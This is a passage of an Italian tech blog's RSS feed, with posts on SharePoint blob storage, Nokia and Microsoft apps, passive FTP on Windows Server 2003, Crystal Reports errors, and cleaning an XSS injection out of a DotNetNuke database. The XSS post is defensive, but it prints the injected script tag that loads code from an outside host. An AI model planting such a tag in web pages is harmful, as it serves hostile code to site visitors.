<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Andrea Beni&#039;s Weblog</title>
	<atom:link href="http://andreabeni.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://andreabeni.wordpress.com</link>
	<description>fra tecnologia e fantascienza...</description>
	<lastBuildDate>Thu, 10 Nov 2011 19:48:34 +0000</lastBuildDate>
	<language>it</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='andreabeni.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Andrea Beni&#039;s Weblog</title>
		<link>http://andreabeni.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://andreabeni.wordpress.com/osd.xml" title="Andrea Beni&#039;s Weblog" />
	<atom:link rel='hub' href='http://andreabeni.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Salvare i file di Sharepoint sul filesystem (Remote Blob Storage)</title>
		<link>http://andreabeni.wordpress.com/2011/11/10/salvare-i-file-di-sharepoint-sul-filesystem-remote-blob-storage/</link>
		<comments>http://andreabeni.wordpress.com/2011/11/10/salvare-i-file-di-sharepoint-sul-filesystem-remote-blob-storage/#comments</comments>
		<pubDate>Thu, 10 Nov 2011 19:48:29 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Sharepoint]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[WSS]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=153</guid>
		<description><![CDATA[Sharepoint è un ottimo strumento per la gestione documentale. Le raccolte di documenti all&#8217;interno dei siti consentono infatti di caricare e gestire file che saranno memorizzati nel database SQL Server associato all&#8217;installazione dello Sharepoint. I file possono poi essere organizzati in cartelle e gestiti da una finestra di Windows come se fossero nel filesystem. Nello scenario di una piccola-media [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=153&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Sharepoint è un ottimo strumento per la gestione documentale. Le raccolte di documenti all&#8217;interno dei siti consentono infatti di caricare e gestire file che saranno memorizzati nel database SQL Server associato all&#8217;installazione dello Sharepoint. I file possono poi essere organizzati in cartelle e gestiti da una finestra di Windows come se fossero nel filesystem.</p>
<p>Nello scenario di una piccola-media farm, configurata con le versioni &#8220;free&#8221; del portale (prima Windows Sharepoint Services 3.0, ora Sharepoint Foundation 2010) e del database (SQL Server Express 2005, SQL Server Express 2008) la limitazione di questa funzionalità è legata alla dimensione massima che il database può assumere: 10GB nel caso di SQL Server Express 2008 R2, 4GB per le versioni precedenti.</p>
<p>In questa situazione, possiamo però sfruttare una caratteristica messa a disposizione da SQL Server per il salvataggio dei dati di tipo BLOB (binary large object) direttamente sul filesystem, evitando quindi di incrementare la dimensione del file del DB.</p>
<p>Una ottima guida per la preparazione e configurazione di questa caratteristica (chiamata RBS &#8211; Remote Blob Storage) è consultabile a <a title="Configurare Sharepoint 2010 per il Remote Blob Storage" href="http://netindonesia.net/blogs/andriyadi/archive/2010/07/27/configure-sharepoint-2010-to-store-files-blob-to-the-file-system.aspx" target="_blank">questo indirizzo</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/153/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=153&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2011/11/10/salvare-i-file-di-sharepoint-sul-filesystem-remote-blob-storage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>Nokia verso Microsoft</title>
		<link>http://andreabeni.wordpress.com/2011/10/07/nokia-verso-microsoft/</link>
		<comments>http://andreabeni.wordpress.com/2011/10/07/nokia-verso-microsoft/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 12:16:12 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[App]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Sharepoint]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=149</guid>
		<description><![CDATA[Nokia ha annunciato il nuovo &#8220;Symbian Belle&#8221;, sistema operativo per gli smartphone Nokia che prevede l&#8217;inclusione di applicazioni &#8220;Microsoft-oriented&#8221;. Disponibili entro la fine del quarto trimestre 2011 e con una diffusione più capillare all’inizio del 2012, le App Microsoft includeranno strumenti di collaborazione e di produttività, come Microsoft Lync 2010 Mobile, Microsoft OneNote, Microsoft PowerPoint [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=149&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Nokia ha annunciato il nuovo &#8220;Symbian Belle&#8221;, sistema operativo per gli smartphone Nokia che prevede l&#8217;inclusione di applicazioni &#8220;Microsoft-oriented&#8221;. Disponibili <strong>entro la fine del quarto trimestre </strong>2011 e con una diffusione più capillare all’inizio del 2012, le App Microsoft includeranno strumenti di collaborazione e di produttività, come Microsoft Lync 2010 Mobile, Microsoft OneNote, Microsoft PowerPoint Broadcast e Microsoft Document Connection (che consente di accedere a Microsoft SharePoint) a Symbian Belle. Nel primo semestre del 2012 un aggiornamento introdurrà Microsoft Word, Excel e PowerPoint per la prima volta come applicazioni native su piattaforma diversa da Windows.</p>
<p>Le applicazioni Microsoft saranno fornite attraverso gli aggiornamenti del software scaricati over the air o da computer e funzioneranno sui modelli Nokia N8, Nokia C7, Nokia C6-01, Nokia E7, Nokia E6, Nokia X7, Nokia 700, Nokia 701, Nokia 600 e Nokia Oro. La gestione dei dispositivi mobili Symbian Belle sarà gestibile in futuro attraverso il System Center Configuration Manager 2012 di Microsoft.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/149/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/149/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/149/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=149&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2011/10/07/nokia-verso-microsoft/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>Segreti Apple erroneamente dati ad un utente</title>
		<link>http://andreabeni.wordpress.com/2011/09/02/segreti-apple-erroneamente-dati-ad-un-utente/</link>
		<comments>http://andreabeni.wordpress.com/2011/09/02/segreti-apple-erroneamente-dati-ad-un-utente/#comments</comments>
		<pubDate>Fri, 02 Sep 2011 12:44:50 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[Senza Categoria]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/2011/09/02/segreti-apple-erroneamente-dati-ad-un-utente/</guid>
		<description><![CDATA[Sarà successo per caso??? http://news.wintricks.it/web/dal-web/34643/segreti-apple-hard-disk-ricambio/ Chissà..<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=147&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Sarà successo per caso???</p>
<p><a href="http://news.wintricks.it/web/dal-web/34643/segreti-apple-hard-disk-ricambio/" target="_blank">http://news.wintricks.it/web/dal-web/34643/segreti-apple-hard-disk-ricambio/</a></p>
<p>Chissà..</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/147/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/147/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/147/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/147/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/147/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/147/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/147/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/147/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=147&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2011/09/02/segreti-apple-erroneamente-dati-ad-un-utente/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>Impostare FTP in modalità passiva su Windows Server 2003</title>
		<link>http://andreabeni.wordpress.com/2010/09/30/ftp_passivo/</link>
		<comments>http://andreabeni.wordpress.com/2010/09/30/ftp_passivo/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 15:38:22 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=140</guid>
		<description><![CDATA[Per impostare il servizio FTP sulla modalità &#8220;passiva&#8221; in un server Windows Server 2003 è mecessario indicare al servizio quali sono le porte (oltre alla 21) che verranno utilizzate. Ricordiamoci che le porte devono essere maggiori della 1023. Nel nostro esempio vogliamo utilizzare le porte dalla 5500 alla 5510. Apriamo il prompt e spostiamoci nella [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=140&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Per impostare il servizio FTP sulla modalità &#8220;passiva&#8221; in un server Windows Server 2003 è mecessario indicare al servizio quali sono le porte (oltre alla 21) che verranno utilizzate.</p>
<p>Ricordiamoci che le porte devono essere maggiori della 1023. Nel nostro esempio vogliamo utilizzare le porte dalla 5500 alla 5510.</p>
<p>Apriamo il prompt e spostiamoci nella directory:</p>
<p><strong>C:\Intepub\AdminScripts\</strong></p>
<p>ora digitiamo:</p>
<p><strong>adsutil.vbs set /MSFTPSVC/PassivePortRange &#8220;5500-5510&#8243;</strong></p>
<p>Se CScript non è registrato apparirà una finestra che ci avviserà e che chiedera la sua registrazione. Confermiamo.</p>
<p>Se abbiamo attivo il Firewall di Windows ricordiamoci di aprire il range di porte che abbiamo selezionato.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/140/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/140/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/140/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/140/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/140/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/140/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/140/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/140/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=140&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2010/09/30/ftp_passivo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>Attacco Cross Site Scripting (XSS) sul nostro sito</title>
		<link>http://andreabeni.wordpress.com/2010/09/23/xss_attack/</link>
		<comments>http://andreabeni.wordpress.com/2010/09/23/xss_attack/#comments</comments>
		<pubDate>Thu, 23 Sep 2010 17:34:56 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Linguaggi]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=119</guid>
		<description><![CDATA[Scovare il codice malevolo di un attacco cross site scripting e ripulire il database.
Una DLL per implementare l'espressione regolare per la ricerca e la distribuzione dell'assembly su SQL Server per la creazione della funzione<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=119&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Gli attacchi di &#8220;cross site scripting&#8221; (XSS) inseriscono del codice malevolo all&#8217;interno dei contenuti html delle nostre pagine web.<br />
Il risultato è che collegamenti o click su pulsanti rimandano a strane pagine che nulla hanno a che fare con il sito in questione. Inoltre, i siti indicizzati sui motori di ricerca vengono segnalati come &#8220;possibili diffusori di virus&#8221; e pertanto classificati negativamente&#8230;</p>
<p>Data la diffusione di CMS gratuiti quali Joomla, Drupal, DotNetNuke, ecc., il codice malevolo dell&#8217;attacco XSS viene memorizzato all&#8217;interno del database nelle tabelle di contenuto HTML.<br />
Vediamo cosa produce un attacco XSS su DotNetNuke e come porvi rimedio.</p>
<p>Cercando il nostro sito web su Google viene visualizzato il messaggio &#8220;Questo sito potrebbe danneggiare il tuo computer&#8221;, poiché il motore di ricerca navigando tra le pagine trova un riferimento a questo pezzo di codice:<br />
<code><br />
&lt;/title&gt;&lt;script src=http://google-stats50.info/ur.php&gt;&lt;/script&gt;<br />
</code><br />
Una ricerca di tale codice all&#8217;interno dei files del nostro sito non produce nessun risultato&#8230;</p>
<p>Se invece diamo uno sguardo al nostro database (nel caso di DotNetNuke è il SQL Server) troveremo alcuni campi con il codice all&#8217;interno del nostro contenuto.<br />
In particolare:<br />
- la tabella &#8220;HtmlText&#8221; contiene il codice nel campo &#8220;Content&#8221;;<br />
- la tabella &#8220;Modules&#8221; contiene il codice nel campo &#8220;ModuleTitle&#8221;;<br />
La rimozione del codice è lunga se abbiamo a che fare con tabelle piene di contenuti&#8230;<br />
Possiamo utilizzare una query di update per ripulire il campo effettuando una sostituzione ma&#8230; non è detto che tutte le righe della tabella contengano il riferimento allo stesso indirizzo!<br />
La soluzione? Implementare un&#8217;espressione regolare che vada a cercare tutto ciò che è compreso tra &#8220;&#8221; e &#8220;&#8221; e lo sostituisca con&#8230; un bel niente! <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Per fare ciò ho utilizzato Visual Studio per creare una DLL contenente la mia &#8220;funzione&#8221;.<br />
Ecco il codice della classe:<br />
<code><br />
using System;<br />
using System.Data;<br />
using System.Data.SqlClient;<br />
using System.Data.SqlTypes;<br />
using Microsoft.SqlServer.Server;<br />
using System.Text.RegularExpressions;<br />
using System.Text;</code></p>
<p><code>namespace SQLRegEX<br />
{</code></p>
<p><code>public partial class UserDefinedFunctions<br />
{</code></p>
<p><code>public static readonly RegexOptions Options = RegexOptions.IgnorePatternWhitespace | RegexOptions.Multiline;</code></p>
<p><code>[SqlFunction]<br />
public static SqlBoolean RegexMatch(SqlChars input, SqlString pattern)<br />
{<br />
Regex regex = new Regex(pattern.Value, Options);<br />
return regex.IsMatch(new string(input.Value));<br />
}</code></p>
<p><code>[SqlFunction]<br />
public static SqlString RegexReplace(SqlString expression, SqlString pattern, SqlString replace)<br />
{<br />
if (expression.IsNull || pattern.IsNull || replace.IsNull)<br />
return SqlString.Null;</code></p>
<p><code>Regex r = new Regex(pattern.ToString());<br />
return new SqlString(r.Replace(expression.ToString(), replace.ToString()));<br />
}</code></p>
<p><code>// returns the matching string. Results are separated by 3rd parameter<br />
[SqlFunction]<br />
public static SqlString RegexSelectAll(SqlChars input, SqlString pattern, SqlString matchDelimiter)<br />
{<br />
Regex regex = new Regex(pattern.Value, Options);<br />
Match results = regex.Match(new string(input.Value));</code></p>
<p><code>StringBuilder sb = new StringBuilder();<br />
while (results.Success)<br />
{<br />
sb.Append(results.Value);</p>
<p>results = results.NextMatch();</p>
<p>// separate the results with newline|newline<br />
if (results.Success)<br />
{<br />
sb.Append(matchDelimiter.Value);<br />
}<br />
}</p>
<p>return new SqlString(sb.ToString());</p>
<p>}</p>
<p>// returns the matching string<br />
// matchIndex is the zero-based index of the results. 0 for the 1st match, 1, for 2nd match, etc<br />
[SqlFunction]<br />
public static SqlString RegexSelectOne(SqlChars input, SqlString pattern, SqlInt32 matchIndex)<br />
{<br />
Regex regex = new Regex(pattern.Value, Options);<br />
Match results = regex.Match(new string(input.Value));</p>
<p>string resultStr = "";<br />
int index = 0;</p>
<p>while (results.Success)<br />
{<br />
if (index == matchIndex)<br />
{<br />
resultStr = results.Value.ToString();<br />
}</p>
<p>results = results.NextMatch();<br />
index++;</p>
<p>}</p>
<p>return new SqlString(resultStr);</p>
<p>}</p>
<p></code></p>
<p><code> };<br />
}<br />
</code></p>
<p>Una volta compilata la classe dobbiamo distribuirla nel SQL Server e poi creare la funzione. Apriamo una finestra query su SQL Server e scriviamo:<br />
<code><br />
--Abilita il CLR sul SQL Server<br />
sp_configure 'clr enabled',1;</code></p>
<p><code>reconfigure;<br />
---------------------------------</code></p>
<p><code>-- Crea l'assembly a partire dalla DLL<br />
CREATE ASSEMBLY [SQLRegEx] FROM 'C:\SQLRegEx.dll' WITH PERMISSION_SET = SAFE;<br />
---------------------------------------</code></p>
<p><code> </code></p>
<p><code>-- Crea la funzione riferendosi al metodo della DLL<br />
CREATE FUNCTION [dbo].[RegExReplace]<br />
(@Expression NVARCHAR(MAX), @Pattern NVARCHAR(MAX), @Replace NVARCHAR(MAX))<br />
RETURNS NVARCHAR(MAX)<br />
AS EXTERNAL NAME SqlRegEx.[SQLRegEX.UserDefinedFunctions].RegexReplace;<br />
----------------------------------------<br />
</code></p>
<p>A questo punto la nostra funzione è pronta all&#8217;uso. Prepariamo la query con i giusti nomi della tabella e del/dei campo/i:<br />
<code><br />
UPDATE [databaseName].[dbo].[tableName]<br />
SET [fieldName] = dbo.RegExReplace([fieldName],'(&lt;script .*&gt;.*&lt;/script&gt;)','')<br />
;</code></p>
<p>That&#8217;s all folks!!! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/119/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=119&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2010/09/23/xss_attack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>Crystal Report con parametri e DataSet</title>
		<link>http://andreabeni.wordpress.com/2010/06/02/crystal-report-con-parametri-e-dataset/</link>
		<comments>http://andreabeni.wordpress.com/2010/06/02/crystal-report-con-parametri-e-dataset/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 15:15:01 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[Linguaggi]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[crystal report]]></category>
		<category><![CDATA[dataset]]></category>
		<category><![CDATA[parametri]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=108</guid>
		<description><![CDATA[Nell&#8217;utilizzo di Crystal Report per generare pagine PDF dinamiche contenenti dati estratti da una ricerca dell&#8217;utente all&#8217;interno di un&#8217;applicazione web ci si può trovare difronte ad errore quando si utilizzano come campi sia i parametri messi a disposizione dal file &#8220;.rpt&#8221; sia un dataset opportunamente popolato. Partiamo dai parametri&#8230; Si inizia definendo il report ed [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=108&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Nell&#8217;utilizzo di Crystal Report per generare pagine PDF dinamiche contenenti dati estratti da una ricerca dell&#8217;utente all&#8217;interno di un&#8217;applicazione web ci si può trovare difronte ad errore quando si utilizzano come campi sia i parametri messi a disposizione dal file &#8220;.rpt&#8221; sia un dataset opportunamente popolato.</p>
<p>Partiamo dai parametri&#8230;</p>
<p>Si inizia definendo il report ed &#8220;agganciandolo&#8221; al file &#8220;.rpt&#8221; che abbiamo aggiunto alla nostra applicazione:<br />
<code><br />
ReportDocument crReportDocument = new ReportDocument();<br />
string strNomeReport = "NomeReport.rpt";<br />
crReportDocument.Load(Server.MapPath(strNomeReport));<br />
</code><br />
Si procede poi ad impostare i vari campi ai quali abbiamo associato un parametro in fase di disegno del report:</p>
<p><code>crReportDocument.SetParameterValue("NomeParametro", stringaValoreParametro);</code></p>
<p><code> </code></p>
<p><code>// Output flusso dati PDF<br />
System.IO.MemoryStream m_stream = (MemoryStream) crReportDocument.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);<br />
Response.ClearContent();<br />
Response.ClearHeaders();<br />
Response.ContentType = "application/pdf";<br />
Response.OutputStream.Write(m_stream.ToArray(),0, m_stream.ToArray().Length);<br />
Page.Response.End();<br />
m_stream.Close();<br />
</code></p>
<p>L&#8217;errore classico che incontriamo è:<br />
<em><br />
Missing parameter values.<br />
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. </em></p>
<p><em> </em></p>
<p><em>Exception Details: System.Runtime.InteropServices.COMException: Missing parameter values.<br />
</em><br />
Questo accade quando tralasciamo uno o più parametri a livello di codice. Nel caso di numerosi parametri all&#8217;interno del report dobbiamo quindi controllare se tutti sono stati correttamente impostati.</p>
<p>Se poi oltre ai parametri utilizziamo un DataSet la cosa può sembrare ancora più complicata in quanto ad errori&#8230;<br />
